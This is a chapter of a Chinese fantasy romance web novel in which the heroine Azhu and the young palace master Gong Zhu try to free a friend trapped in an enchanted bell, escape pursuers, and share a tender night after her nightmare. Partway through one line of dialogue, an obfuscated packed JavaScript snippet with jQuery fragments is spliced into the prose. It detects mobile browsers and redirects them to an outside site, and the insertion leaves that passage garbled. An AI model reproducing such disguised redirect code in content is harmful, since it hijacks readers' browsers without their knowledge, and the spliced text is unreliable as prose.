26. 亲吻手背

作品:《幽冥锁gb

    钟鼎的隔音并不好,听到呼救声的宫竹难得心虚地咳了咳,神色自若道:“祝莨把你挂上面的?”


    “就是她!”盛羽无助控诉道:“她本来把我关在灵犀塔里,后来我吵着要离开,她就把我打晕,再醒来我就在这里了。”


    “这地方黑灯瞎火的,一个活物都没有,你们再不来,我就要一个人在这里度过漫漫岁月了!那还不如杀了我!”


    这么多天只有他一个人,盛羽枯燥到身上都要长草了,嘴巴巴巴着,不停诉说着这段时间以来的委屈。


    “没死就成。”宫竹安慰道。


    盛羽:“……”还不如不安慰。


    阿烛:“少司可有受伤?”


    “那倒没有。”盛羽撇嘴,心道还是阿烛姑娘好是,“就是不得自由。”


    “我想办法把你弄下来。”


    盛羽一秒变脸,开心道:“寒临,我就知道你最好了!”


    他没高兴多久,正在施法的宫竹忽然停止动作,盛羽紧张地问:“怎么了?”


    “这钟鼎在吸收我的法力,无法强攻。”


    “这么邪门?”


    盛羽:“那智取呢?”


    “我连这神器是什么都不知道,如何智取?”


    盛羽:“我好像听到祝莨说过,叫阴什么的……”


    “阴魂钟?”


    “对对对!”盛羽一拍脑袋,激动道:“就是这个名字!阿烛姑娘,你知道这玩意儿具体是干什么的吗?”


    阿烛脱口而出:“阴魂钟,乃是上古邪修用来炼化阴邪之物为己所用的法器,后来邪修受反噬毙命,阴魂钟生出灵智,在无尽岁月中淬炼,成了禁忌神器。”


    “因为邪性过盛,很多年前阴魂钟被阴阳上神与神帝联手封印,此后再无人知晓其踪迹,也不知祝城主是如何寻到手的……”


    宫竹看向阿烛,神色有些恍惚。


    “至于克制阴魂钟的神器,恐怕只有阴阳上神手中那把银龙枪了。”


    盛羽哀嚎:“看来我要在这里待到天荒地老了!”


    众所周知,百年前三界因异端陷入混乱,陨落过三个天才。


    一个妖域刁蛮跋扈却身怀诡技的长公主涟漪,一个冥域小小年纪就拥有领袖魄力的八十七城城主灵幽,最后一个正是我行我素却天生神力的阴阳上神白瀛。


    她们生在一个时代,虽无多少交际,却被三界并称为“寰宇三曜”。


    可自阴阳上神祭身后,她的本命神器银龙枪随之消失,就算找到恐怕也在沉寂,很难认外人为主。


    宫竹抿唇,直白道:“时间上来不及,倒不如生擒祝莨来得更快。”


    盛羽厥躺回去,好似被抽了魂,一抽一抽地问:“寒临,你会救我出去的吧?会为了我……”


    “不好说。祝莨身边还有白羽,我打不过。”


    “……”


    阿烛轻笑,“放心吧,他故意逗你呢,总有办法的。”


    她算是发现了,宫竹在她面前格外幼稚,在盛羽面前格外像个混世小魔王,全然没有一宫之主该有的威严。


    宫竹耳朵微动,唤出云隐,“有动静,姐姐我们快走。”


    “好。”阿烛朝蹲在阴魂钟里的盛羽挥手,“别担心,等清源日,我们一定救你出去。”


    盛羽略微耷拉着脑袋,挥手回应阿烛,眼巴巴地望着她们离开的身影。


    宫竹:“我们被跟踪了。”


    云隐传送到一定范围后随机降落,这人居然还能追上来,可见修为了得,阿烛脸色不由沉了沉。


    翎羽划破月夜,悄然无声地饶过建筑障碍,直逼宫竹而来。


    阿烛唤出宫竹送给她的青铃剑,剑光火石间,随飓风席卷而来的翎羽被挑飞了出去,紧接着密不透风的翎羽又从四面八方袭来。


    宫竹手中玉笛倒竖,悬于半空,绽放出莹莹月华朦胧之色,光华攀升,将他们围在里面。


    翎羽如暴雨梨花,凶猛地砸在保护阵外层,却未能深入分毫。


    阿烛腰间的魂石闪烁了一下,一道巨大的魂身加入其中,与宫竹合力将蜂拥而至的翎羽还了回去。


    此时不宜恋战,阿烛一手拽住一个,“走。”


    宫竹和苍生本想继续还击,听到这声,异口同声道:“好。”


    祝莨挑眉,眺望着那三个消失在夜幕下的身影,抬手拦住准备继续追的伊一,“黑曜。”


    伊一:“黑曜做出选择了?”


    “这样才好,省得你们担心伤及无辜,畏手畏脚的。”祝莨眉目清寒,自带骇然杀气,“清源日无需再估计任何人,违抗者,格杀勿论。”


    雷鸣作响,隐有山雨欲来凶残之势。


    “……是。”伊一垂眸抿唇,有些泄气,有些不甘,反正他赶不回来了,这次有多少死魂遭殃都与他无关。


    ·


    “呼,没追上来。”阿烛松了口气。


    “我施了幻术,追上来了也没事。”


    “你把我们变成什么了?”


    “异端。”宫竹沉吟片刻,道:“但是刚刚苍生出手的一瞬,幻术不稳,露了马脚,她们应当把我们认成黑耀城的死魂了。”


    阿烛皱眉,黑曜本就站中立,被她们这一闹,阴差阳错之下站在了祝莨对立面,这可不是什么好事。


    “……给苍芫惹上麻烦了。”


    苍生抱着阿烛小腿,纯真地笑着:“芫姐姐让我跟着姐姐,就是让我来帮姐姐解决小人的,怎么会麻烦呢?”


    阿烛刮刮她的鼻子,无奈道:“公在前,私在后,二者怎可同一而论?”


    苍芫性格直爽,欠别人一分总想着还十分,让苍生跟着她,恐怕只是贴身保护,以免她受到主城鬼魂们的欺负,这其中可不包括各势力之间的纷争。


    这下,说是给黑曜城捅了大窟窿都不为过。


    “清源日除了你之外还有其他黑曜死魂前来,到时我们提醒一二,让他们小心些,别触了祝大人霉头。”


    苍生虽然不明白为什么不直接上去跟祝莨打一架,她赢了就是她说了算,自然再不用看别人眼色,但还是乖乖“哦”了一声。


    “姐姐累了吧……”


    阿烛扶额疑惑地看他,不知道宫竹是怎么看出来,还不待她开口,宫竹抢先一步:“先去休息,我们明天再商讨对策。”


    阿烛点点头,浑浑噩噩地躺在自己的床上倒头就睡。


    细碎的荧光散布在院子里,那抹始终挂在宫竹眼前的红绸颜色发暗,仿佛能滴出血来。


    宫竹站在阴影里盯着阿烛的背影,直至房门关闭,也未曾移开过。


    ……


    “小娃娃,你天赋不错,再过百年没准还能与我等较量较量,如今……”模糊不清的黑雾讥讽地笑了两声,声音嘶哑,不能入耳,却格外阴森可怖:“不过是螳臂挡车,飞蛾扑火!”


    黑雾冲天而起,于九霄之上轰然压下,却被凌然剑气击溃,又自四面八方而来,将剑气团团围住吞灭。


    粉身碎骨般的压迫,但凡换成个人早就夹着尾巴逃跑了,可梦中那道身影没有——她坚定举起手中的剑,自猎猎寒风中独挡一切。


    破败的黑甲折射出嗜血的光泽,剑气撕破长空,那人声音自带与生俱来的沉稳,睥睨着眼前的“浩劫”,仿佛从未将它们放在眼里过。


    “何须百年。”


    “狂妄!”黑雾暴涨,遮天蔽月,带着泰山压顶的戾气,势必叫这不知天高地厚的小儿尝尝魂飞魄散的滋味。


    如流星绚丽的赤红光影穿梭在黑雾掌间,黑雾狰狞怒吼:“今日,只要你死,我必将这里屠戮殆尽!”


    不能退,绝不能退!


    孤影抚着胸口的伤痕,死死盯着黑雾,抱着必死的决心再度向前,只一剑便将黑雾身体劈成两半。


    一黑一红至云端激战,不知滚滚阴云中,天穹骤然撕裂,一道贯穿天地的暗紫色雷痕如活物般扭曲,正蓄势待发……


    令人胆寒的天雷猝然落下,身体仿佛被暴力撕裂。


    阿烛从浑浑噩噩醒来,额间发丝浸湿。一阵口干舌燥,一时之间竟不知今夕是何时,又身在何处。


    半响,阿烛终于发觉自己的手被紧紧握着,她微微偏过头,目光落在帘帐外那道漆黑的身影上,试探性地喊了一句:“宫竹?”


    帘帐外,暖融融的烛光亮起,宫竹轻应了一声:“姐姐,我在。”


    “怎么不去休息?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384933|181778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “姐姐睡梦中唤我名字,叫我别乱跑,我就来了。”宫竹嗫喏,有些不好意思:“只是夜半三更,不太妥当……所以只伸了手,姐姐抓着安心些。”


    “没什么妥当不妥当的。”


    帘帐自里面掀起一角,一只素白的手探出来,宫竹来不及看清就被一把拽了进去。


    他没想到阿烛会有如此举动,手撑在床上,怕压到她,惊魂未定地起身坐在床边。


    “被梦魇住了,不碍事。”


    “喝水吗?”


    “要。”


    阿烛往上靠了靠,宫竹端着水,喂到她嘴边,随后又拿出帕子给她擦去额间虚汗。


    阿烛也不在意,任由他忙乎,虚虚地垂着浓密的眼睫,看不清情绪。


    也许是因为夜深,身边只有宫竹,人也跟着矫情。阿烛忽然觉得枕头太硬,害得她睡不好觉,脑中全是雷云凝聚天罚时那令她头皮发麻的威势。


    阿烛蹙着眉,又向宫竹靠近了几分,心中不由生出几分依恋。


    宫竹静静地看着阿烛,没放过她的小动作,心口又软又涩。


    从前他孤立无援,伪装成乖巧的模样混在姐姐身边。姐姐聪慧过人,即便看出他的小心思,也从不与他计较,依旧对他敞开心扉,事无巨细地照顾他。


    曾记得十三岁时姐姐刚从金丝笼里出来,冥主低调地办了宴席。


    虽然低调,却有不少打听到消息的冥域鬼官们客道前来。


    鬼魂多了,鱼龙混杂,难免有捧高踩低的欺负到宫竹头上。


    姐姐那时候是怎么做的……


    宫竹只记得那天他站在灵幽身后,本以为对方一贯恪守礼数,当时冥府与冥官之间的关系微妙,她应当会顾及几分,最多就是警告几句。


    没曾想灵幽竟端起喝酒的杯子,砸了对方的脑袋,掂量着问对方要不要对称着来,脑袋另一边也来一下。


    对方自知理亏,落荒而逃,事后也不敢告发,免得挨训。


    宫竹恍惚地想,这次他终于也可以成为姐姐短暂的依靠了吗?


    可是他好像也做不了什么……


    阿烛面色苍白得易碎,说话虽是气音,却带着点命令的语气,罕见地有些霸道:“离我那么远干什么?”


    一指间的距离,远吗?宫竹脑子一下子没转过来,待回神,才不确定地轻轻扶起阿烛,让她枕在自己怀里,这样应该会舒服很多吧?


    “这样可以吗?”他想让姐姐好受点,又不知道这样做能不能缓解梦魇带来的意识混乱。


    突然,宫竹手背触及一片柔软。


    脑子里仿佛惊雷劈过,一片空白,宫竹微微垂眸,才发现是阿烛意识还没完全从梦中抽出来,正掰着他的手背,神志不清地贴在唇边。


    这是姐姐第一次吻他……


    宫竹手指微卷,有些害羞,强忍着刺激没有抽回手。


    后半夜,无梦至天明。


    阿烛迷迷糊糊地醒来,发现自己在宫竹身上枕了一夜。


    他脸上仍蒙着红绸,阿烛分不清他是醒的还是睡着的。


    思量片刻,阿烛伸出手,在宫竹脸颊上戳了一下。


    一下,又一下……


    头顶传来一声愉悦的轻笑声,宫竹抓住阿烛的手指,手上那抹浅淡的魂力断开,悄无声息地隐蔽起来。


    “姐姐,我的脸都要被你戳红了。”


    “哪里?”


    “姐姐凑近点就看到了。”说着,宫竹将她的手贴在自己脸颊上,偏过头用挺翘的鼻尖蹭着。


    阿烛摸摸他红晕的耳垂,嘴角噙着若有似无的笑。


    宫竹不满地说:“姐姐取笑我?”


    “没有。”阿烛有些贪恋此刻的清闲,“一夜没睡?”


    “我小眯了一会儿,不碍事,已经习惯了。”姐姐离开的很多个日夜,他彻夜难眠。再者,以他如今的修为,晚间休憩于他而言是浪费时间。


    以往姐姐也是这样的,忙得脚不沾地。


    宫竹凝望着阿烛刚睡醒还有些迷蒙的眼睛,握着她的手紧了紧。


    姐姐如今这般贪睡,大概率是魂魄融合不了的原因……她的魂体,已经支撑不住简单的日常活动了。